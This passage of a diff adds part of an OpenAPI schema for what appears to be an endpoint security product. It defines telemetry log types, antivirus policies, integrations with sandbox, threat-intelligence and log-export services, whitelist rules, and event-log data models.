+        title: Hl-externals
+        type: integer
+      hl-hlaimaliciousfile:
+        default: 1
+        minimum: 0
+        title: Hl-hlaimaliciousfile
+        type: integer
+      hl-investigation:
+        default: 3
+        minimum: 0
+        title: Hl-investigation
+        type: integer
+      hl-library:
+        default: 3
+        minimum: 0
+        title: Hl-library
+        type: integer
+      hl-log:
+        default: 3
+        minimum: 0
+        title: Hl-log
+        type: integer
+      hl-migration:
+        default: 3
+        minimum: 0
+        title: Hl-migration
+        type: integer
+      hl-network_discovery:
+        default: 1
+        minimum: 0
+        title: Hl-network discovery
+        type: integer
+      hl-threaddump:
+        default: 3
+        minimum: 0
+        title: Hl-threaddump
+        type: integer
+      hl-threat_intelligence:
+        default: 3
+        minimum: 0
+        title: Hl-threat intelligence
+        type: integer
+      log-agent-agentlog:
+        default: 1
+        minimum: 0
+        title: Log-agent-agentlog
+        type: integer
+      log-agent-amsi_scan:
+        default: 1
+        minimum: 0
+        title: Log-agent-amsi scan
+        type: integer
+      log-agent-authentication:
+        default: 1
+        minimum: 0
+        title: Log-agent-authentication
+        type: integer
+      log-agent-dns-resolution:
+        default: 1
+        minimum: 0
+        title: Log-agent-dns-resolution
+        type: integer
+      log-agent-driverload:
+        default: 1
+        minimum: 0
+        title: Log-agent-driverload
+        type: integer
+      log-agent-ecs_telemetries_normal:
+        default: 1
+        minimum: 0
+        title: Log-agent-ecs telemetries normal
+        type: integer
+      log-agent-eventlog:
+        default: 1
+        minimum: 0
+        title: Log-agent-eventlog
+        type: integer
+      log-agent-file:
+        default: 1
+        minimum: 0
+        title: Log-agent-file
+        type: integer
+      log-agent-group_event:
+        default: 1
+        minimum: 0
+        title: Log-agent-group event
+        type: integer
+      log-agent-injectedthread:
+        default: 1
+        minimum: 0
+        title: Log-agent-injectedthread
+        type: integer
+      log-agent-library_load:
+        default: 1
+        minimum: 0
+        title: Log-agent-library load
+        type: integer
+      log-agent-named_pipe:
+        default: 1
+        minimum: 0
+        title: Log-agent-named pipe
+        type: integer
+      log-agent-network:
+        default: 1
+        minimum: 0
+        title: Log-agent-network
+        type: integer
+      log-agent-network_listen:
+        default: 1
+        minimum: 0
+        title: Log-agent-network listen
+        type: integer
+      log-agent-powershell:
+        default: 1
+        minimum: 0
+        title: Log-agent-powershell
+        type: integer
+      log-agent-process:
+        default: 1
+        minimum: 0
+        title: Log-agent-process
+        type: integer
+      log-agent-process_access:
+        default: 1
+        minimum: 0
+        title: Log-agent-process access
+        type: integer
+      log-agent-process_tamper:
+        default: 1
+        minimum: 0
+        title: Log-agent-process tamper
+        type: integer
+      log-agent-raw_device_access:
+        default: 1
+        minimum: 0
+        title: Log-agent-raw device access
+        type: integer
+      log-agent-raw_socket_creation:
+        default: 1
+        minimum: 0
+        title: Log-agent-raw socket creation
+        type: integer
+      log-agent-registry:
+        default: 1
+        minimum: 0
+        title: Log-agent-registry
+        type: integer
+      log-agent-remotethread:
+        default: 1
+        minimum: 0
+        title: Log-agent-remotethread
+        type: integer
+      log-agent-url_request:
+        default: 1
+        minimum: 0
+        title: Log-agent-url request
+        type: integer
+      log-agent-usb_activity:
+        default: 1
+        minimum: 0
+        title: Log-agent-usb activity
+        type: integer
+      log-agent-user_event:
+        default: 1
+        minimum: 0
+        title: Log-agent-user event
+        type: integer
+      log-agent-wmi_event:
+        default: 1
+        minimum: 0
+        title: Log-agent-wmi event
+        type: integer
+      resource:
+        default: 1
+        minimum: 0
+        title: Resource
+        type: integer
+      whitelist-stats:
+        default: 1
+        minimum: 0
+        title: Whitelist-stats
+        type: integer
+    type: object
+  Edges:
+    properties:
+      class_name:
+        minLength: 1
+        title: Class name
+        type: string
+      source:
+        minLength: 1
+        title: Source
+        type: string
+      target:
+        minLength: 1
+        title: Target
+        type: string
+    required:
+      - class_name
+      - source
+      - target
+    type: object
+  EditAntivirusPolicy:
+    properties:
+      antivirus_slug:
+        enum:
+          - hurukaiav
+          - windowsdefender
+        title: Antivirus slug
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      hurukaiav:
+        $ref: '#/definitions/HlAntivirus'
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      windowsdefender:
+        $ref: '#/definitions/WindowsDefender'
+    required:
+      - antivirus_slug
+      - name
+    type: object
+  EditAssemblyline:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      user:
+        minLength: 1
+        title: User
+        type: string
+        x-nullable: true
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  EditBody:
+    properties:
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+    required:
+      - comment
+      - id
+    type: object
+  EditCape:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      validate_server_certificate:
+        default: false
+        title: Validate server certificate
+        type: boolean
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  EditExportElastic:
+    properties:
+      basic_auth_password:
+        minLength: 1
+        title: Basic auth password
+        type: string
+        x-nullable: true
+      basic_auth_username:
+        minLength: 1
+        title: Basic auth username
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      hmac_header:
+        minLength: 1
+        title: Hmac header
+        type: string
+        x-nullable: true
+      hmac_prefix:
+        minLength: 1
+        title: Hmac prefix
+        type: string
+        x-nullable: true
+      hmac_secret:
+        minLength: 1
+        title: Hmac secret
+        type: string
+        x-nullable: true
+      http_header_name:
+        minLength: 1
+        title: Http header name
+        type: string
+        x-nullable: true
+      http_header_value:
+        minLength: 1
+        title: Http header value
+        type: string
+        x-nullable: true
+      logs:
+        default: []
+        items:
+          enum:
+            - alert
+            - amsi_scan
+            - driverload
+            - eventlog
+            - file
+            - group_event
+            - injectedthread
+            - library_load
+            - named_pipe
+            - network_listen
+            - powershell
+            - process
+            - process_access
+            - process_tamper
+            - raw_device_access
+            - registry
+            - remotethread
+            - url_request
+            - usb_activity
+            - user_event
+            - wmi_event
+          type: string
+        type: array
+        x-nullable: true
+      ssl_verify:
+        default: false
+        title: Ssl verify
+        type: boolean
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      use_basic_auth:
+        default: false
+        title: Use basic auth
+        type: boolean
+      use_hmac:
+        default: false
+        title: Use hmac
+        type: boolean
+      use_http_header:
+        default: false
+        title: Use http header
+        type: boolean
+    type: object
+  EditExportSecops:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      logs:
+        default: []
+        items:
+          enum:
+            - alert
+            - authentication
+            - dns_resolution
+            - experimental_alert
+            - file
+            - informational_alert
+            - injectedthread
+            - library_load
+            - network
+            - network_listen
+            - process
+            - raw_socket_creation
+            - remotethread
+            - url_request
+          type: string
+        type: array
+        x-nullable: true
+      ssl_verify:
+        default: false
+        title: Ssl verify
+        type: boolean
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      webhook_access_key:
+        minLength: 1
+        title: Webhook access key
+        type: string
+        x-nullable: true
+    type: object
+  EditExportSplunk:
+    properties:
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      logs:
+        default: []
+        items:
+          enum:
+            - alert
+            - authentication
+            - dns_resolution
+            - experimental_alert
+            - file
+            - informational_alert
+            - injectedthread
+            - library_load
+            - network
+            - network_listen
+            - process
+            - raw_socket_creation
+            - remotethread
+            - url_request
+          type: string
+        type: array
+        x-nullable: true
+      ssl_verify:
+        default: false
+        title: Ssl verify
+        type: boolean
+      token:
+        minLength: 1
+        title: Token
+        type: string
+        x-nullable: true
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+    type: object
+  EditGlimps:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      validate_server_certificate:
+        default: false
+        title: Validate server certificate
+        type: boolean
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  EditIrma:
+    properties:
+      auto_query:
+        default: false
+        title: Auto query
+        type: boolean
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      irma_url_api:
+        minLength: 1
+        title: Irma url api
+        type: string
+        x-nullable: true
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+    type: object
+  EditMisp:
+    properties:
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      ids_only:
+        default: false
+        title: Ids only
+        type: boolean
+      key:
+        minLength: 1
+        title: Key
+        type: string
+        x-nullable: true
+      poll_interval:
+        default: 15
+        minimum: 0
+        title: Poll interval
+        type: integer
+      pull_ioc:
+        default: false
+        title: Pull ioc
+        type: boolean
+      pull_sigma:
+        default: false
+        title: Pull sigma
+        type: boolean
+      pull_whitelist:
+        default: true
+        title: Pull whitelist
+        type: boolean
+      pull_yara:
+        default: false
+        title: Pull yara
+        type: boolean
+      sigma_override:
+        default: false
+        title: Sigma override
+        type: boolean
+      target_ioc_source:
+        default: misp_ioc
+        minLength: 1
+        title: Target ioc source
+        type: string
+      target_sigma_source:
+        default: misp_sigma
+        minLength: 1
+        title: Target sigma source
+        type: string
+      target_yara_source:
+        default: misp_yara
+        minLength: 1
+        title: Target yara source
+        type: string
+      tls_verify:
+        default: false
+        title: Tls verify
+        type: boolean
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+    type: object
+  EditOrion:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      minimal_level:
+        default: severe
+        enum:
+          - high
+          - low
+          - medium
+          - safe
+          - severe
+        title: Minimal level
+        type: string
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      validate_server_certificate:
+        default: false
+        title: Validate server certificate
+        type: boolean
+      visibility:
+        default: private
+        enum:
+          - group
+          - private
+          - public
+        title: Visibility
+        type: string
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  EditProxy:
+    properties:
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      http:
+        minLength: 1
+        title: Http
+        type: string
+        x-nullable: true
+      https:
+        minLength: 1
+        title: Https
+        type: string
+        x-nullable: true
+    type: object
+  EditThehive:
+    properties:
+      admin_api_key:
+        minLength: 1
+        title: Admin api key
+        type: string
+        x-nullable: true
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      validate_server_certificate:
+        default: false
+        title: Validate server certificate
+        type: boolean
+    type: object
+  EditVirusTotal:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      auto_query:
+        default: false
+        title: Auto query
+        type: boolean
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  EditWhitelistRule:
+    properties:
+      apply_retroactively:
+        default: false
+        title: Apply retroactively
+        type: boolean
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      correlation_embedded_rule_id:
+        format: uuid
+        title: Correlation embedded rule id
+        type: string
+        x-nullable: true
+      correlation_rule_id:
+        format: uuid
+        title: Correlation rule id
+        type: string
+        x-nullable: true
+      enabled:
+        title: Enabled
+        type: boolean
+      expiration_date:
+        format: date-time
+        title: Expiration date
+        type: string
+        x-nullable: true
+      security_event_from_status:
+        default:
+          - new
+        items:
+          enum:
+            - closed
+            - false_positive
+            - investigating
+            - new
+          type: string
+        type: array
+      security_event_new_status:
+        default: false_positive
+        enum:
+          - closed
+          - false_positive
+          - investigating
+        title: Security event new status
+        type: string
+      sigma_rule_id:
+        title: Sigma rule id
+        type: string
+        x-nullable: true
+      target:
+        enum:
+          - all
+          - cape
+          - correlation
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - telemetry_amsi_scan
+          - telemetry_authentication
+          - telemetry_bpf
+          - telemetry_dns_resolution
+          - telemetry_driver_load
+          - telemetry_etw_ti_ke_insert_queue_apc
+          - telemetry_etw_ti_nt_allocate_virtual_memory
+          - telemetry_etw_ti_nt_map_view_of_section
+          - telemetry_etw_ti_nt_protect_virtual_memory
+          - telemetry_etw_ti_nt_read_virtual_memory
+          - telemetry_etw_ti_nt_resume_process
+          - telemetry_etw_ti_nt_resume_thread
+          - telemetry_etw_ti_nt_set_context_thread
+          - telemetry_etw_ti_nt_suspend_process
+          - telemetry_etw_ti_nt_suspend_thread
+          - telemetry_etw_ti_nt_write_virtual_memory
+          - telemetry_eventlog
+          - telemetry_file
+          - telemetry_group_event
+          - telemetry_injected_thread
+          - telemetry_kube_pod_event
+          - telemetry_library_load
+          - telemetry_named_pipe
+          - telemetry_network
+          - telemetry_network_listen
+          - telemetry_powershell
+          - telemetry_process
+          - telemetry_process_access
+          - telemetry_process_duplicate_handle
+          - telemetry_process_ptrace
+          - telemetry_process_tamper
+          - telemetry_raw_device_access
+          - telemetry_raw_socket_creation
+          - telemetry_registry
+          - telemetry_remote_thread
+          - telemetry_scheduled_task
+          - telemetry_url_request
+          - telemetry_usb_activity
+          - telemetry_user_event
+          - telemetry_win32k_get_async_key_state
+          - telemetry_win32k_register_raw_input_devices
+          - telemetry_win32k_set_windows_hook_ex
+          - telemetry_windows_service
+          - telemetry_wmi_event
+          - vt
+          - yara
+          - yara_memory
+        title: Target
+        type: string
+    type: object
+  ElfExport:
+    properties:
+      export_type:
+        minLength: 1
+        title: Export type
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - export_type
+      - name
+    type: object
+  ElfReport:
+    properties:
+      elf_class:
+        minLength: 1
+        title: Elf class
+        type: string
+      elf_object_type:
+        minLength: 1
+        title: Elf object type
+        type: string
+      endian:
+        minLength: 1
+        title: Endian
+        type: string
+      exports:
+        items:
+          $ref: '#/definitions/ElfExport'
+        type: array
+      interpreter:
+        minLength: 1
+        title: Interpreter
+        type: string
+      sections:
+        items:
+          $ref: '#/definitions/ElfSection'
+        type: array
+    required:
+      - elf_class
+      - elf_object_type
+      - endian
+      - exports
+      - interpreter
+      - sections
+    type: object
+  ElfSection:
+    properties:
+      address:
+        title: Address
+        type: integer
+      entropy:
+        title: Entropy
+        type: number
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      offset:
+        title: Offset
+        type: integer
+      section_type:
+        minLength: 1
+        title: Section type
+        type: string
+      size:
+        title: Size
+        type: integer
+    required:
+      - address
+      - entropy
+      - md5
+      - name
+      - offset
+      - section_type
+      - size
+    type: object
+  EnableCveBulk:
+    properties:
+      enabled_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      failed_to_enable_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - enabled_ids
+      - failed_to_enable_ids
+    type: object
+  EndpointsPermissions:
+    properties:
+      agent_lifecycle:
+        title: Agent lifecycle
+        type: boolean
+      agents:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Agents
+        type: string
+      endpoint_lifecycle:
+        title: Endpoint lifecycle
+        type: boolean
+      policies:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Policies
+        type: string
+    required:
+      - agent_lifecycle
+      - agents
+      - endpoint_lifecycle
+      - policies
+    type: object
+  EntraId:
+    properties:
+      authority_url:
+        minLength: 1
+        title: Authority url
+        type: string
+        x-nullable: true
+      auto_scan_interval:
+        default: PT23H
+        minLength: 1
+        title: Auto scan interval
+        type: string
+      client_id:
+        minLength: 1
+        title: Client id
+        type: string
+        x-nullable: true
+      client_secret:
+        minLength: 1
+        title: Client secret
+        type: string
+        x-nullable: true
+      connector_type:
+        enum:
+          - assemblyline
+          - base
+          - cape
+          - connector_misp
+          - export
+          - export_elastic
+          - export_s3
+          - export_secops
+          - export_splunk
+          - glimps
+          - irma
+          - ldap_auth
+          - orion
+          - proxy
+          - thehive
+          - virustotal
+        readOnly: true
+        title: Connector type
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+        x-nullable: true
+      directory_name:
+        minLength: 1
+        title: Directory name
+        type: string
+        x-nullable: true
+      enable_auto_scan:
+        default: true
+        title: Enable auto scan
+        type: boolean
+      enable_group_creation:
+        default: true
+        title: Enable group creation
+        type: boolean
+      enable_unprotected_asset_detection:
+        default: false
+        title: Enable unprotected asset detection
+        type: boolean
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modified:
+        format: date-time
+        readOnly: true
+        title: Last modified
+        type: string
+      last_modifier:
+        minLength: 1
+        readOnly: true
+        title: Last modifier
+        type: string
+      missed_scans_before_delete:
+        default: 4
+        minimum: 1
+        title: Missed scans before delete
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      tenant_id:
+        minLength: 1
+        title: Tenant id
+        type: string
+        x-nullable: true
+      type:
+        default: entra_id
+        enum:
+          - entra_id
+        readOnly: true
+        title: Type
+        type: string
+    required:
+      - name
+    type: object
+    x-nullable: true
+  Environment:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - controlset
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - tenant
+      - timestamp
+      - username
+      - value
+    type: object
+  EventLog:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      computer_name:
+        minLength: 1
+        title: Computer name
+        type: string
+      event_data:
+        items:
+          $ref: '#/definitions/KeyValueDoc'
+        type: array
+      event_date:
+        format: date-time
+        title: Event date
+        type: string
+      event_id:
+        title: Event id
+        type: integer
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      keywords:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      log_name:
+        minLength: 1
+        title: Log name
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_id:
+        title: Process id
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      provider_guid:
+        minLength: 1
+        title: Provider guid
+        type: string
+      record_number:
+        title: Record number
+        type: integer
+      source_name:
+        minLength: 1
+        title: Source name
+        type: string
+      thread_id:
+        title: Thread id
+        type: integer
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      user:
+        $ref: '#/definitions/EventUser'
+      user_data:
+        items:
+          $ref: '#/definitions/KeyValueDoc'
+        type: array
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - computer_name
+      - event_data
+      - event_date
+      - event_id
+      - id
+      - keywords
+      - level
+      - log_name
+      - log_type
+      - pid
+      - process_id
+      - process_image_path
+      - process_unique_id
+      - provider_guid
+      - record_number
+      - source_name
+      - thread_id
+      - type
+      - user
+      - user_data
+    type: object
+  EventStackTrace:
+    properties:
+      enabled_events:
+        default: 0
+        minimum: 0
+        title: Enabled events
+        type: integer
+        x-nullable: true
+    type: object
+  EventUser:
+    properties:
+      domain:
+        minLength: 1
+        title: Domain
+        type: string
+      identifier:
+        minLength: 1
+        title: Identifier
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - domain
+      - identifier
+      - name
+      - type
+    type: object
+  EvidencePermissions:
+    properties:
+      prefetch:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Prefetch
+        type: string
+    required:
+      - prefetch
+    type: object
+  Exception:
+    properties:
+      component:
+        minLength: 1
+        title: Component
+        type: string
+        x-nullable: true
+      count:
+        description: Exception counter
+        title: Count
+        type: integer
+      firstseen:
+        description: Date of the first exception of this kind
+        format: date-time
+        title: Firstseen
+        type: string
+      hash:
+        minLength: 1
+        title: Hash
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      lastseen:
+        description: Date of the last exception of this kind
+        format: date-time
+        title: Lastseen
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+        x-nullable: true
+      traceback:
+        minLength: 1
+        title: Traceback
+        type: string
+        x-nullable: true
+    required:
+      - count
+      - firstseen
+      - id
+      - lastseen
+    type: object
+  ExperimentalAlert:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
